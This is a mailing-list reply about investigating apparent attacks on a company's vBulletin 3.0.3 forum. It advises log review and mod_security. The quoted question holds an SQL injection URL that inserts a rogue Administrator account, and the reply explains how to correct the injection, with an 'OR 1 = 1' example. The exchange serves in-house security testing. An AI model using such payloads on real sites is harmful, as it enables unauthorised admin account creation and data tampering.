Re: testing vulnerable web application.

[Rogan Dawes <discard () dawes za net>]

Dave wrote:
> pen testers,
>
> Our companies website hosts a forum program called vBulletin 3.0.3. A 
> few recent incidents (i.e. threads vanishing, user accounts deleted) has 
> us looking into how this is happening. Our manager wants to solve this 
> problem 'in house' so the task was given to me and another employee to 
> see if we can figure out how this is happening and stop it.

First approach should be to review the http server logs to see what 
unusual parameters are being passed to the server. Obviously, this will 
only catch attacks using GET, and not any POST/etc.

What you might to is try to add some tracing into the code, and log all 
the parameters that are sent, both via GET and POST. mod_security might 
be able to help you here.

[snip]

> USING example : 
> admincp/user.php?do=find&orderby=username&limitnumber=[SQL]  we crafted 
> a URL:
>
>
> http://192.168.6.99:8080/vb-forums/admincp/user.php?do=find&orderby=username&limitnumber=[INSERT%20INTO%20user%20VALUES('12345',%20'6',%20'',%20'0',%20'admintest',%20'5f376e00eb11f00d0262636a5b699501',%20'2006-06-25',%20'nospam () nospam org',%20'0',%20'',%20'',%20'',%20'',%20'',%20'2',%20'Administrator',%20'0',%20'1151266933',%20'0',%20'1151272079',%20'1151274578',%20'1151267867',%20'1',%20'10',%20'1',%20'',%20'0',%20'0',%20'0',%20'2135',%20'',%20'0000-00-00',%20'-1',%20'1',%20'',%20'0',%20'0',%20'',%20'0',%20'0',%20'-1',%20'0',%20'0',%20'$Nu')] 

It looks like you might have left out the actual limitnumber from that 
parameter. I'd suggest reading up a bit more about combining the 
existing query, and your own when performing SQL injection.

e.g. if the original query looks like

SELECT * FROM TABLE
WHERE limit < [limitnumber]

whatever you supply as [limitnumber] still needs to form a completely 
valid SQL statement when it is executed.

e.g. [limitnumber] =

10 OR 1 = 1

would return ALL record from the above table, since the 1=1 will always 
return TRUE, "overriding" the "limit < 10" part

Regards,

Rogan

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